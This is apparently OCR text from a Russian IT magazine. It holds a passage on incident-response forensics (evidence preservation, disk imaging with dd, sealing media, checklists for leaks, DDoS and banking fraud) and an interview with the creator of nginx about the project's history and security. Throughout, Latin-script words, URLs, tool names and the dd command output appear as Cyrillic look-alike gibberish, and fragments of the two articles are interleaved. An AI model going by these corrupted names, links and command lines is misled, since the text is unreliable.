мер, 01_Р зарегистрировала некую утечку 
информации. Копировать всю БД ОБР-системы 
нет никакого смысла. Необходимо выгрузить 
только важные сведения. 

4) Информация из внешнихсистем 

Это журналы подключений провайдера, 
веб-хостера. Все важные сведения, которые 
хранятся не на оборудовании организации и 
которые можно запросить. 

ВЫПОЛНЯЕМЫЕ ДЕЙСТВИЯ 

Необходимо тщательно документировать все 
выполняемые действия. Желательно привлекать 
независимых специалистов, которые не имеют 
личной заинтересованности в результатах рас- 
следования, и приглашать свидетелей, которые 
могли бы удостоверить факт выполнения указан- 
ных действий. 

1 ) В случае если компьютеры, имеющие отноше- 
ние к инциденту, можно отключить, необходи- 
мо выполнить следующие действия: 

• Немедленно отключить работающие ЭВМ, 
имеющие отношение к инциденту. 

• Извлечьэнергонезависимые носители инфор- 
мации. 

• Упаковать и опечатать извлеченные носители 
информации. 

• Скопироватьжурналы систем контроля доступа 
в помещения, занимаемые организацией, 

и других систем (контроллера домена, ІР5, 

01_Р), журналы подключений, записи систем 
видеонаблюдения в офисе или офисном центре 
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Саіпе - Сотриіег АісІесІ Шѵезіідаііѵе Епѵігоптепі 



за максимально возможный промежуток 
времени. Записать соответствующие журналы 
и видеофайлы на компакт-диски, упаковать и 
опечатать их. 

• Составить акт, отражающий характеристики 
упакованных и опечатанных носителей и дру- 
гую важную информацию. 

• Передать упакованные и опечатанные носи- 
тели информации на хранение в специальном 
помещении или в сейфе. 

2) В случае если компьютеры, имеющие от- 
ношение к инциденту, отключить нельзя, 
необходимо выполнить следующие действия: 

• Действия аналогичны, за исключениемтого, 
что вместо отключения ЭВМ, изъятия и опеча- 
тывания носителей информации, необходимо 
снятье нихкопиюданных, записать ее на 
внешние носители информации и опечатать их. 



ИСПОЛЬЗУЕМЫЕ ИНСТРУМЕНТЫ 

Если необходимо провести внутреннее рас- 
следование, то перед опечатыванием носителя 
можно сделать его полную посекторную копию. 
Важно отличать такую копию от обычной, соз- 
даваемой большинством программ в процессе 
резервного копирования. Полная посектор- 
ная копия позволяет восстановить данные и 
обнаружить в том числе и удаленную с носителя 
информацию. 

Для создания посекторной копии 
рекомендуется использовать следующие 
дистрибутивы Ыпих: 

• Саіпе ( Ьир://ѵѵѵѵѵѵ.саіпе-Ііѵе.пеІ:/ ). 

• Вірипих( ЬНр://гір.7Ьі.бе/сиггепі/ ). 

Они свободно распространяются в виде об- 
разов, которые можно записать на Сй\0Ѵ0 или 
ІІ5В-носители, а затем загружать с них. 



ОШИБКИ ПРИ РЕАГИРОВАНИИ НА ИНЦИДЕНТЫ С 
УТЕЧКОЙ КОНФИДЕНЦИАЛЬНЫХ ДАННЫХ 



Антивирусная про- 
верка файловых 
систем носителей 
информацииЭВМ 

Приводит к изменению 
временных меток файлов вре- 
доносных программ, переме- 
щению или удалению файлов 
вредоносных программ. 




Переустановка опера- 
ционныхсистемЭВМ 

Приводит кудалению 
файлов вредоносных программ, 
следов их работы, системных 
журналов иусложняетрас- 
следование инцидента, так как 
для его проведения приходится 
восстанавливать данные. 




Продолжение работы 
наЭВМ,имеющихот- 
ношение к инциденту 

Дает возможность злоумыш- 
ленникуудалитьеледы своей 
активности. 



ПРИМЕР: ЗАПРОС 
ИНФОРМАЦИИ 
У ПРОВАЙДЕРА 



Просим вас предоставить статистику сетевых 
взаимодействий с ІР-адресом 8. 8. 8. 8, который 
используется маршрутизатором в локальной вы- 
числительной сети ООО «Ромашка», за период с 
1 по 25 октября 201 1 года в связи с проводимым 
расследованием инцидента информационной 
безопасности. 

Договор на оказание услуг связи №2241 от 1 9 
июня 2000 года. 

Главный специалист отдела безопасности 
ООО «Ромашка» 

(подпись) И. И. Иванов 



Важное их отличие от прочих Ііѵессі в том, 
что эти дистрибутивы не монтируют файло- 
вые системы никаких носителей информации 
автоматически. Они позволяют работать с 
носителями в режиме «Только для чтения». 
Если в структуру оригинального носителя были 
внесены какие-либо изменения, это обяза- 
тельно обнаружится во время экспертизы, 
благодаря чему доказательство может быть 
признано ничтожным. Сам образ (полную по- 
секторную копию) можно создать с помощью 
пакета ОСЗОй. Для работающих систем (то есть 
не отключенных) рекомендуется использовать 
программу Ассезз йаіа ГТК Ітадег ( ЫТр:// 
ассеззбаіа.сот/зиррогі/асіоѵѵпіоасіз ), которая 
распространяется свободно. Кроме того, она 
позволяет снимать полный дамп оперативки, 
что может пригодиться в случае заражения 
компьютера вредоносным ПО. 

При сборе какой-либо информации на 
работающей системе нельзя копировать данные 
(содержимое оперативной памяти, энергонеза- 
висимых носителей информации) на носители, 
входящие в состав ЭВМ. Следует использовать 
внешние носители достаточной емкости, не 
имеющие отношения к инциденту. 

СБОР И ОФОРМЛЕНИЕ 
ЭЛЕКТРОННЫХ СВЕДЕНИЙ 

Без бюрократии снова не обойтись. Рассмотрим, 
что именно необходимо отразить в акте осмотра 
и акте изъятия сведений. Для начала — место 
и время проведения действий, используемые 
технические средства, перечень присутствующих 
лиц и сами производимые действия. Указывая, 
откуда извлекаются данные, необходимо предо- 
ставить следующие сведения: 

• описание ЭВМ, из которой извлекаются носи- 
тели информации; 
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• параметры носителя информации, откуда 
копируются данные; 

• путь к копируемым данным (каталог, файл); 

• название ПО, которое предоставляет данные. 

Пример: 

• Системный блок черного цвета, установленный 
на рабочем месте Иванова И. И., инвентарный 
номер 1 2345. Из системного блока извлечены 
два накопителя на жестких магнитных дисках 
(НЖМД), один ЦѴЦ, два ІІЗВ-накопителя, карта 
памяти типа 50НС. 

• НЖМД фирмы 5еада*е, модель 3750330Ы5, 
серийный номер АААВВВ123. 

• Из каталога \ІІ5ег5\Иванов\0оситепІ5\ ло- 
гического раздела №1 НЖМД №8 скопирован 
файл с названием «Как генеральный директор 
украл миллиардах*». 

• Из программного обеспечения ОІР20Ю, версия 
6221, установленного в ОС на компьютере Ива- 
нова, выгружена история переписки абонента 
под псевдонимом «Иванушка» с абонентом под 
псевдонимом «Коррупционер». 

Необходимо также указать следующие сведе- 
ния, касающиеся извлекаемой информации: 

• параметры файлов (размер, имя, хэш); 

• идентификационныеданные носителей ин- 
формации (модель, серийный номер); 

• описание извлекаемых данных; 

• тип накопителя, на котором были сохранены 
данные. 




Опечатано правильно! 

Пример: 

• Файл с названием «Секреты компании. бос», 
размер 653 Кбайт. 

• Карта памяти МісгоЗЦНС, производитель 
Тгапзсепб, заявленный объем 16 Гб, серийный 
номер 1234567. 

• Журнал посещений веб-сайтов через браузер 
Іпіегпе* Ехріогег пользователем с псевдони- 
мом «ПорноЛюб». 



Тип накопителя, на котором были 
сохранены данные: 

Указанные данные скопированы в каталог 
\С0МР1\ГЮ01\ІЕ ІІ5В-накопителя, производи- 
тель АйАТА, серийный номер 1234. 

Кроме этого, необходимо подготовить следую- 
щие документы: 

• служебныезаписки на имя директора органи- 
зации и начальника службы безопасности с 
подробным описанием инцидента и выполнен- 
ными действиями; 

• запросы провайдеру, веб-хостеру, в службу 
безопасности бизнес-центра и др. о предостав- 
лении информации за интересующий период; 

• акты изъятия, осмотра, выгрузки данных 
из различных информационныхсистем и 
устройств. 

ПРАВИЛА ОПЕЧАТЫВАНИЯ 
НОСИТЕЛЕЙ ИНФОРМАЦИИ 

Носители информации необходимо опечатать так, 
чтобы к ним невозможно было получить доступ 
без видимого нарушения целостности упаковки. 
Если носитель информации имеет небольшие 
размеры (НЖМД, флэш-накопитель), проще всего 
поместить его в полиэтиленовый пакет, пере- 
вязать горловину пакета нитью, а на ее концы на- 
клеить пояснительную записку с подписями лиц, 
которые участвовали в опечатывании, и печатью 
организации. 



ИНЦИДЕНТ: УТЕЧКА 

КОНФИДЕНЦИАЛЬНЫХ 

ДАННЫХ 



Действия, которые необходимо предпринять 

при расследовании: 

• Составить докладную записку на имя генераль- 
ного директора отом, что в системе Ц|_Р были 
зарегистрированы события, связанные с по- 
пыткой передачи конфиденциальныхданных. 

• Осмотреть и выгрузить данные из системы 
01_Р, записать их на носитель информации, 
который впоследствии будет опечатан. 

• Определить причастные кинциденту компьютеры. 

• Запроситьжурналы подключений у интернет- 
провайдера. 

• Извлечь носители информации из причастных к 
инциденту компьютеров, составитьакт, опечатать. 

• Осмотреть и выгрузить информацию с сетевых 
устройств, контроллеров домена и из других 
информационныхсистем, записать ее на 
носитель информации, который впоследствии 
будет опечатан. 



сомр і Іей орГ іопз : 

соммапй Ііпе: йсЗйй і Г=/йеѵ/зйа оГ=/мпГ/ імаде . йй 
йеѵісе зіге: 41943040 зесіогз (ргоЬей) 
зесіог зіге: 512 ЬуГез (ргоЬей) 

875462656 ЬуГез (835 М) соріей ( 420, 4.53218 з, 184 М/з 
[!!] игіГіпд Іо Ѵмпі/ імаде . йй ’ : Ио зрасе ІеіЧ он йеѵісе 
886243328 ЬуГез (845 М) соріей ( 420, 4.63351 з, 182 М/з 

іприі гезиИз Гог йеѵісе Ѵйеѵ/зйа ’ : 

1730944 зесіогз іп 
0 Ьай зесіогз геріасей Ъу гегоз 

оиіриі гезиИз Гог Гііе '/мпГ/ імаде . йй * : 

1730152 зесіогз оиі 

йсЗйй Га і Іей а! 2011-10-19 12:56:41 +0000 

# йсЗйй іГ=/йеѵ/зйа оГ=/мп1;/ імаде . йй 

йсЗйй 7.0.0 зГагГей аі 2011-10-19 12:57:06 +0000 
сомр і Іей орііопз: 

соммапй Ііпе: йсЗйй іГ=/йеѵ/зйа оГ=/мпГ/ імаде . йй 
йеѵісе зіге: 41943040 зесіогз (ргоЬей) 
зесГог зіге: 512 ЪуГез (ргоЬей) 

1179648 ЬуГез (1.1 М) соріей ( 020, 1.01073 з, 1.1 М/з 



Снятие образа с помощью КІР Ыпих 
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Реагирование на инциденты ИБ 



ИНЦИДЕНТ: ОБОЗ 



Действия, которые необходимо предпринять 

при расследовании: 

• Составитьдокладную записку на имя генераль- 
ного директора компании отом, что ее веб-сайт 
стал недоступен для посетителей из-за распре- 
деленной атаки типа «Отказ в обслуживании». 

• Запроситьжурналы подключений у веб-хостера. 

• Если компания размещаетвеб-серверусебядо 
запроситьжурналы подключений у интернет- 
провайдера. 

• Осмотреть и выгрузить информацию с веб-сервера 
(логи),записатьлоги на носитель информации, 
который впоследствии будетопечатан. 



Сначала необходимо в несколько витков 
обмотать горловину длинной нитью и завязать 
нить узлом, а затем отступить от места перевязки 
на 5-10 мм и точно таким же образом перевязать 
горловину второй раз. Нить при этом разрывать 
запрещается. 

Затем концы нити следует пропустить по 
внутреннему сгибу прямоугольного листа бумаги, 
сложенного пополам. Сложенный лист нужно 
склеить. К нему также с помощью двух неболь- 
ших кусочков бумаги приклеиваются оба конца 
нити. В месте склейки ставятся подписи лиц, 
участвовавших в опечатывании, и печати. 

ВЫВОДЫ 

В заключение, вместо того чтобы предложить всем 
заинтересованным лицам пойти попить пива и 
пожелать им никогда не сталкиваться с расследо- 
ваниями, компетентными органами, протоколами 
и служебными записками :), позволю себе еще 
немного позанудствовать. Сформулирую главные 
принципы, которыми следует руководствоваться в 
процессе реагирования на инциденты: 

1) Следует сохранять неизменность и целостность 
носителей информации. 

2) Необходимо предоставлять как можно больше 
информации об инциденте. 

3) Нужно максимально подробно документи- 
ровать все действия, выполняемые в рамках 
реагирования на инцидент. ІЕ 




Ассезз йаіа РТК Ітадег 



ИНЦИДЕНТ: МОШЕННИЧЕСТВО С ДБО 



ЗА ПОСЛЕДНИЕ ПОЛГОДА МНО 
ГОСТ РАДАЛЬНУЮ КОМП АНИЮ 
50ЫУ НЕ ПНУЛ, ПОХОЖЕ, 
ТОЛЬКО НЕ ОСТАВАТЬСЯ В 
СТОРОНЕ И ПОУЧАСТВОВАЛИ В 
ПОУТИХШЕМ БЫЛО ВЕСЕЛЬЕ 



Действия, которые необходимо предпринять 
при расследовании: 

• Составитьдокладную записку на имя генерально- 
го директора отом, что в системе дистанционного 
банковского обслуживания, предоставляемой 
компании, были обнаружены платежные поруче- 
ния, которые не передавались в банк сотрудника- 
ми бухгалтерии (перечислить все реквизиты). 

• Запроситьжурналы подключений у интернет- 
провайдера. 



• Запроситьжурналы подключений компании к 
системе ДБОу банка. 

• Извлечь носители информации из компью- 
тера бухгалтера (с них можно снять образы), 
составить акт, опечатать носители. 

• Осмотреть и выгрузить информацию с сетевых 
устройств, контроллеров домена и из других 
информационных систем, записать ее на 
носитель информации, который впоследствии 
будетопечатан. 
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Игорь 
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Интервью с создателем пдіпх 



□ ИГОРЬ, РАССКАЖИТЕ, КАК 

СТРОИЛОСЬ ВАШЕ ОБРАЗОВАНИЕ, 
КАК ПРИШЛИ К ПРОГРАММИРОВАНИЮ И 
ВООБЩЕ УВЛЕКЛИСЬ КОМПЬЮТЕРАМИ? 

* Я родился в Казахстане в маленьком 
л городке. Когда мне было около года, моего 



ИНТЕРВЬЮ 
Ь л С СОЗДАТЕЛЕМ 
ЫСІЫХ 



отца (он военный) перевели в Алма-Ату, и я жил 
там до 18 лет. В 1987 году я закончил школу и 
поехал поступать в МВТУ имени Баумана, однако 
с первого раза поступить не удалось, и я вернулся 
назад в Алма-Ату, где устроился работать 
лаборантом в филиал Института повышения 
квалификации Министерства геологии СССР. Там 
были старые компьютеры «Искра-226», на них я и 
начал что-то программировать на бейсике. А еще 
в то время в журнале «Радио» была опубликована 
серия статей, как собрать собственный компью- 
тер «Радио-86РК», и благодаря их чтению у меня 
сложилось достаточно неплохое представление, 
как компьютер устроен и как он работает. А 
первый опыт работы с компьютерами был чуть 
раньше: в старших классах я ходил во Дворец 
пионеров, и там поставили компьютеры ѴатаЬа 
КУВТ (стандарта М5Х). Помню, когда набирал пер- 
вую программку, перепутал единицу с буквой I. В 
общем, она у меня не работала из-за таких вещей. 

А ПОМНИТЕ СВОЮ ПЕРВУЮ 
ПРОГРАММУ, КОТОРОЙ 
ПОЛЬЗОВАЛИСЬ ДРУГИЕ ЛЮДИ? 

д Моя первая крупная и отчуждаемая 
л программа — это антивирус «АѴ», который 




я написал в 1989-1990 годах. Написан он был 
полностью на ассемблере, объем ассемблерного 
кода был где-то порядка 100 КБ. Программа 
умела находить несколько вирусов, имея зашитую 
внутрь программы базу с несколькими сигнатура- 
ми известных тогда в СССР вирусов, которых было 
от силы штук десять: вирусы «Марихуана», 
«София», «Вена» и еще несколько, не помню их 
названий. Вот это и была моя первая программа, 
которую я распространял в бинарниках — исход- 
ников я тогда не раздавал. В итоге она разошлась 
по стране, была установлена даже на нескольких 
заводах. Была и обратная связь: люди по почте 
слали письма с вирусами, записанными на 
дискеты. Какое-то время я поддерживал данный 
антивирус, но в итоге году в 1992-м я уже потерял 
интерес к этой теме, и программа умерла. 

В 1 994 году я закончил институт, а за год до 
этого начал работать системным админи- 
стратором в одной компании, которая была 
связана с торговлей нефтепродуктами. 

Там я проработал почти 7 лет, после 
чего в апреле 2000 года решил уйти. 
Тогда как раз сдулся ЫАЗОАСІ, лоп- 
нул «пузырь дот-комов», и как 
раз в этот момент я решил уйти 
в Интернет. Полгода я прора- 
ботал в интернет-мазагине 
ХХЬ.РІІ, после чего, как 
сейчас помню, 

13 ноября 2000 года 
я пришел работать 
в Рамблер. 



СОѴЕВ 5Т0ГСѴ 




ЧЕМ ВЫ ЗАНИМАЛИСЬ 
В РАМБЛЕРЕ? 



д Я работал системным администратором. 

М Однако кроме непосредственной работы 
сисадмина я снова начал в свободное время писать 
программы. Надо отметить, что в мои должностные 
обязанности программирование не входило, но 
поскольку были время и тяга, то первое, чем я 
занялся, — адаптировал патч для сжатия ответов 
АрасЬе. К сожалению, на тот момент имя тоб_д 2 Ір 
было уже занято, поэтому я назвал свой вариант 
тосЫеОаІе, работал он с АрасЬе 1.3. 

Потом меня попросили разобраться с моду- 
лем тоб_ргоху. Я его посмотрел и решил, что 
проще написать все с нуля, чем адаптировать 
там какие-то вещи. Таким образом появился 
модуль тоб_ассеІ — модуль и набор патчей для 
АрасЬе для реверсного проксирования. Это все 
тоже было весной 2001 года. 



□ 



ТО ЕСТЬ ВСЕ ЭТИ МОДУЛИ ВЫ ДЕЛАЛИ 



ДЛЯ РАМБЛЕРА, ОДНОВРЕМЕННО 
ВЫКЛАДЫВАЯ В ПАБЛИК? 



В основном, да. МосЫеЛаІе на самом деле 
пришел из патча, который писал Дмитрий 
Хрусталев, работая в РБК. То есть этот патч был 
взят за основу, там моего кода, может, половина 
только. Осенью 2001 года у меня появилась идея 
написать более легкий и производительный 
веб-сервер, чем АрасЬе. На тот момент были уже 
другие похожие серверы, но все они не умели 
проксировать, они отдавали только статику. Был 
у них еще один общий недостаток — они 
работали в одном процессе, и, соответственно, 
отмасштабировать их, допустим, на двухпроцес- 
сорной машине было нереально. 

На тот момент у меня уже был достаточно 
неплохой опыт работы с АрасЬе — и как у си- 
стемного администратора, и как у программиста. 
Два написанных модуля прибавили мне знаний: 
приходилось смотреть исходники АрасЬе и 
понимать, как там все устроено. Поэтому очень 
многие вещи в пдіпх перекочевали из АрасИе 
идеологически. Не код, а именно идеология, 
весь код пдіпх был написан с нуля. 

Однако не все мне нравилось в АрасИе: на- 
пример, там очень легко можно сделать такую 
конфигурацию, которую будет крайне сложно 
поддерживать. То есть сайт растет, добавляется 
какая-то новая функциональность, и в конце 
концов работать с сайтом становится невозможно. 
Нужно что-то добавить, и ты сидишь, думаешь: «А 
что у меня сломается от того, что я добавлю?» В 
пдіпх я попытался этих вещей избежать. В общем, 
где-то весной 2002 я начал разрабатывать пдіпх. 



□ 



БЫСТРО ЛИ О ВАШИХ РАЗРАБОТКАХ 
УЗНАЛИ ВНЕШНИЕ ПО ОТНОШЕНИЮ 
К РАМБЛЕРУ ЛЮДИ? КАК ЭВОЛЮЦИ- 
ОНИРОВАЛ ПРОЕКТ? 



Первым был эстонский сайт знакомств Раіе.ее, 
который и сейчас существует. Это, кстати, самый 
высоконагруженный сайт Эстонии. Потом пдіпх 
начал использоваться на татЬа.ги и на гѵикі.ш, 
где раздавал МРЗ. 

В начале 2004 года Рамблер запускал сервис 
Ыо.гатЫег.ш, и один из коллег, Олег Бунин, по- 
просил меня доделать в пдіпх функциональность 
проксирования запросов, чтобы начать полно- 
ценно использовать его в том числе на фотосервисе 
Рамблера. До этого момента проект был достаточно 
академическим, я его постепенно писал, но это мог- 
ло никогда ничем не кончиться, то есть в продакшн 
его, может быть, нигде и не поставили бы. В общем, 
получилось так, что я срочно доделал и прокси- 
рование. И где-то в начале 2004 года появилась 
версия с проксированием, а сервис Ыо.гатЫег.ги 
заработал на базе пдіпх. 

4 октября 2004 года, в очередную годовщину 
запуска первого космического спутника, я вы- 
пустил первую публичную версию: 0.1.0. 

СЕЙЧАС ДОЛЯ ЫОІЫХ РАСТЕТ ОЧЕНЬ 
БЫСТРО, А КАК ДЕЛО БЫЛО В САМОМ 
НАЧАЛЕ? 

* Сейчас он действительно растет достаточно 
м быстро. Вначале все было заметно 
скромнее. В первый год наибольшую популяр- 
ность пдіпх по очевидным причинам набирал в 
России. В дальнейшем про пдіпх узнали и за ее 
пределами, и отдельные энтузиасты начали его 
использовать на свой страх и риск. Появился 
англоязычный список рассылки, стали появлять- 
ся сторонние ресурсы, описывающие пдіпх, люди 
присылали мне все больше пожеланий и 
замечаний, я вносил исправления, продукт посте- 
пенно набирал популярность. Сейчас проект 
действительно растет очень быстро, и это стало 
одним из поводов для создания компании. В 
одиночку я уже просто перестал справляться. 

ТАК ЧТО, НИКАКОГО ПРОДВИЖЕНИЯ 
ВООБЩЕ НЕ БЫЛО, ПОЛУЧАЕТСЯ, 
ПРОДУКТ САМ СЕБЯ СДЕЛАЛ? 

д — С моей стороны никакого специального 
м пиара не было. Хотя есть такое мнение, что 
лучший пиар — это просто хороший продукт. То 
есть весь рост обуславливался тем, что пдіпх 
«просто работал», и люди рассказывали о своем 
положительном опыте знакомым админам, те — 
своим знакомым, и так по принципу сарафанно- 
го радио. Популярность пдіпх, на мой взгляд, 
связана с несколькими вещами. Во-первых, это 
эффективный и бесплатный софт, который 
позволяет существенно экономить аппаратные 
ресурсы и денежные средства, во-вторых, он в 
принципе неплохо работает. 

НО ЕСТЬ ЖЕ АНАЛОГИ, Ы6НТТР0 
ТОТ ЖЕ САМЫЙ, НАПРИМЕР. 






В 2003 году про мои разработки прознали 
снаружи Рамблера, и, более того, пдіпх 
начал использоваться на нескольких сайтах. 



На самом деле есть еще пара причин: 
получилась довольно интересная комбина- 
ция жизненно важных фич для создания 



эффективной веб-инфстраструктуры, которые я 
добавлял постепенно и которые сделали пдіпх 
таким незаменимым инструментом. При этом пдіпх 
не перегружен ненужными фичами и остается 
очень компактной разработкой. Кроме того, 
модульность пдіпх позволила многим компаниям и 
сторонним разработчикам строить свои расшире- 
ния на базе ядра пдіпх. Можно сказать, что пдіпх 
давно стал в своем роде веб-платформой. 

По поводу ІідЬирсІ (ІідЫу). Когда-то он был 
более распространен, чем пдіпх, и более из- 
вестен в мире. Его автор — немец Ян Кнешке 
(Эап КпезсЬке). Разница в популярности была 
связана с тем, что Россия — непонятная страна 
с балалайкой и медведем, снегом, а тут Европа. 
Опять же, и с английским у него лучше было, 
в том числе и с английской документацией. 
Кстати, благодаря ІідЬирсІ обрел второе дыхание 
протокол РазіСбІ. До 2000-2001 годов это была 
экзотика, все использовали интерпретаторы, ко- 
торые были внутри АрасИе: РНР, РегІ, РуіЬоп. А 
поскольку в ІідЬирсІ исполнять внутри процесса 
РНР-код нереально, то решением стал РазіСЗІ. 

И именно благодаря ІідЬКрсІ РазЮСІ обрел вто- 
рую жизнь. Хотя еще в 2000 году люди говорили: 
«Зачем, что это такое — РазіСбІ? У нас есть 
тоб_рЬр, и там все прекрасно работает». 




КАКИЕ ГЛАВНЫЕ КЕЙСЫ ИСПОЛЬ- 
ЗОВАНИЯ ЫОІЫХ ВЫ ВИДИТЕ? 



Основное использование на нагруженных 
сайтах — это проксирование. При этом пдіпх 
установлен в качестве фронт-энда и проксирует 
приложения на бек-эндах по НТТР либо по РазЮСІ 
или ѴѴ50І. При этом стандартным подходом 
является использование в связке с АрасИе — на- 
пример, на моем предыдущем месте работы пдіпх 
долгое время работал именно так, только пару лет 
назад переключились на использование РазЮСІ. 
Кстати, в этом случае в статистике отображается, 
что появляется пдіпх, пропадает АрасИе. Хотя на 
самом деле используется и то и другое: просто 
пдіпх является одним из компонентов прокси- 
системы, видимым снаружи. 



□ 



ОБЪЯСНИТЕ НАГЛЯДНО, ЗАЧЕМ 
ВООБЩЕ ПРОКСИРОВАТЬ ЗАПРОСЫ? 



Почему, собственно, люди используют 
АрасИе с пдіпх? Казалось бы, зачем тут 
лишнее звено, которое будет мешать. АрасИе 
хорошо и легко использовать там, где нужно 
выполнение какого-то приложения, например, с 
помощью тоб_рЬр. Вот теперь представьте себе, 
что этот РНР способен генерировать 100 ответов 
в секунду, а каждый ответ имеет размер, 
условно, 100 КБ. Не все клиенты используют 
быстрые соединения: 1 0 лет назад были 
модемные клиенты, сейчас очень распространен 
мобильный Интернет, у кого-то просто плохой 
провайдер или медленный тариф. И вот у нас 
есть ответ объемом 100 КБ и эффективная 
скорость к клиенту, например, 80 Кб/с (10 КБ/с). 
Значит, этот ответ будет передаваться клиенту 1 0 
секунд. В результате все это время, пока клиент 
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медленно скачивает ответ, АрасЬе вместе с РНР 
«жрет» 10-20 МБ памяти на одного клиента. И 
вместо того, чтобы заниматься тем, что АрасЬе 
может делать быстро, он ждет, пока медленные 
клиенты загрузят ответы. На все это расходуется 
очень много памяти, да и процессор загружается 
тоже. Когда мы ставим пдіпх между клиентами и 
АрасЬе, то все начинает работать эффективнее: 
пдіпх максимально быстро принимает на себя 
весь ответ, освобождая АрасЬе, и потом уже 
медленно отдает его клиентам, не расходуя 
много памяти. Много памяти или процессора 
пдіпх не расходует, потому что используется 
другая архитектура веб-сервера — неблокируе- 
мая, основанная на асинхронной обработке 
событий, что позволяет обрабатывать многие 
тысячи соединений в рамках одного процесса (в 
отличие от АрасЬе, где каждое соединение 
обрабатывается отдельным процессом или 
тредом. — Прим. ред.). 

Ну и плюс к этому мы можем с бек-энда вы- 
нести все статические файлы, это простая вещь, 
с которой пдіпх может справиться очень легко и 
максимально эффективно — таких статических 
файлов пдіпх может отдавать одновременно 
десятки тысяч в секунду, если память позволяет 
и если позволяет сетевое соединение. 



ДАВАЙТЕ ВЕРНЕМСЯ КТИПОВЫМ 
СЦЕНАРИЯМ. 



Итак, первый сценарий — это когда мы 
просто занимаемся акселерированием, 
может быть, даже одного-единственного сайта. У 
нас был АрасЬе, мы поставили перед ним пдіпх 
и — бах! — случилось чудо. Люди реально ставят и 
удивляются, а потом пишут на «Хабр» о том, что 
«надо же, как клево». Второй вариант — это тоже 
проксирование, но у нас много бек-эндов, то есть 
мы можем эффективно масштабировать горизон- 
тально всю систему при условии, что само 
приложение это позволяет. Таким образом, пдіпх 
выступает в роли балансировщика нагрузки. 

Одним из недостатков текущей реализации 
является отсутствие нескольких политик 
балансировки, но люди пользуются, это работает, а 
функционал мы будем добавлять. Что еще? Еще 
сценарий, например, такой: многим людям 
почему-то АрасЬе не нравится. Хотят, чтобы на 
сервере был только пдіпх, не хотят ставить АрасЬе. 
В этом случае все скрипты у них работают через 
ГазіССІ для РНР или ѴѴ56І для РуіЬоп. 

Например, ѴѴогсІРгезз.сот — они давным- 
давно начали использовать пдіпх в качестве 
балансировщика, а веб-сервером у них выступал 
коммерческий ІЛеБреесІ. В этом году они уже 
полностью мигрировали на пдіпх, теперь у них 
РНР работает в режиме ГазЮСІ. 

Другой стандартный вариант использова- 
ния — когда пдіпх просто отдает всю статику, 
допустим, МРЗ, РІ_Ѵ-, МРЕ64-видео, картинки. 



□ ДАВАЙТЕ НЕМНОГО ПОГОВОРИМ ПРО 
БЕЗОПАСНОСТЬ. БЫЛИ ЛИ ЗА ВРЕМЯ 
СУЩЕСТВОВАНИЯ ЫОІЫХ КАКИЕ-ЛИБО 
СЕРЬЕЗНЫЕ УЯЗВИМОСТИ? 



д Уязвимости были разные, но насчет того, 
М чтобы с их помощью получить удаленный 
доступ, код выполнить — такого не было. Можно 
было ронять рабочие процессы, но вот именно 
исполнить код — таких уязвимостей не было. 
Смотрите, обычно эксплоит рассчитан на что? 

Мы чего-то записали в сервер, ему это дело 
упало на стек. Сервер работает, делает возврат и 
попадает на этот код. Соответственно, чтобы 
эксплоит заработал, надо знать, где стек будет у 
этого процесса. Как правило, когда есть 
какой-нибудь пакет ОеЬіап/ІІЬипІи, есть 
бинарник, можно воспроизвести у себя 
аварийную ситуацию, попытаться найти, где 
находится этот стек и таким образом сделать 
эксплоит. Как стали с этим бороться? Стали 
рандомизировать адресное пространство — в 
современной винде, например, это так работает. 

АІ_5П? 



д Да, верно. Это рандомизация. У нас стек был 
М тут, а теперь стал вот тут. И, соответственно, 
мы не можем предугадать, то есть мы взяли пакет, 
а понять, где у него теперь стек, не получится. У 
пдіпх в этом плане проще, потому что на стеке 
данных, которые читаются от клиентов, практиче- 
ски нет. Можно пересчитать по пальцам несколько 
случаев, где это используется, но в этих местах код 
довольно надежен. Данные, получаемые от 
клиентов, пдіпх размещает в «куче», выделяя 
память таііос'ом. 

Соответственно, если туда записать где-то 
чуть побольше, то мы не попадем на указатель 
стека. Вот эта рандомизация в пдіпх присут- 
ствовала с самого начала. В общем, написать 
рабочий эксплоит если и можно, то очень слож- 
но. Кроме того, процессы, которые занимаются 
обработкой запросов, не работают от «рута». 

Зесигііу-асіѵізогу были, их можно посмотреть 
на сайте. Я считаю, что на все эти сообщения 
об ошибках нужно реагировать адекватно, спо- 
койно и профессионально. Например, скрывать 
факт бага, когда все уже опубликовано, говорить 
типа «Что? Ничего не было, все хорошо» — это 
просто-напросто подрывает доверие к проекту. 

СКОЛЬКО ЧЕЛОВЕК ЗАНИМАЛОСЬ 
РАНЬШЕ И ЗАНИМАЕТСЯ СЕЙЧАС 
РАЗРАБОТКОЙ, РАЗВИТИЕМ ПРОЕКТА? 

д Долгое время занимался я один, практиче- 
М ски весь код я написал в одиночку. Года 
четыре назад мне стал все больше помогать 
Максим Дунин. Кроме нас двоих еще по мере 
развития продукта люди присылали патчи. Причем 
часто присылают просто письма с текстовым 
описанием проблем или пожелания. Мне говорят: 
«Есть ошибка, решить можно ее вот так». Просто 
словами. Мы это делаем по мере сил. 

Еще у нас сейчас есть отдельный человек — 
Руслан Ермилов, который сейчас занимается 
документацией. Он выполняет несколько задач: 
это перевод текущей русской документации на 
английский язык, актуализация сведений и адап- 





тация документации, чтобы она была понятна и 
однозначна для людей, впервые ее читающих. Ча- 
стая проблема, когда автор пишет документацию, 
у него в голове есть определенный контекст, и он 
отталкивается от него. Думает, что вот это само 
собой разумеется, а в итоге упускает много дета- 
лей. С этим мы как раз активно боремся: Руслан 
смотрит на пдіпх «со стороны», свежим взглядом, 
поэтому способен писать так, чтобы всем все было 
понятно. Кроме того, у Руслана огромный опыт 
участия в разработке и документировании слож- 
ных программных проектов. 

□ ПРЕДЛАГАЮ ПЕРЕЙТИ К ВОПРОСАМ, 
СВЯЗАННЫМ С КОМПАНИЕЙ ЫОІЫХ, 
ІЫС. И С ТЕМ, КАК ВЫ ВООБЩЕ ПРИШЛИ К 
СОЗДАНИЮ БИЗНЕСА. 



д Сейчас все расскажу. Итак, наверное, году 
м в 2008-м пришло мне первое письмо от 



инвестора, я уже не помню даже, кто это был. В 
общем, за последние два года таких писем было 
около десятка. Люди хотели что-то сделать с 
пдіпх, сделать компанию. Но я отказывался, 
поскольку я в целом не особо бизнесмен. Но в 
конце концов я стал понимать, что что-то делать 
нужно, иначе я просто не смогу дальше в 
одиночку развивать проект, уже не хватало сил 
на все. Довольно много времени ушло на то, 
чтобы осмыслить, как и с кем я хотел бы сделать 
компанию «вокруг» пдіпх. Вообще, я очень 
редко меняю направление жизни: например, до 
Рамблера я семь лет работал в одной компании, 
в Рамблере я тоже проработал десять лет. Мне 
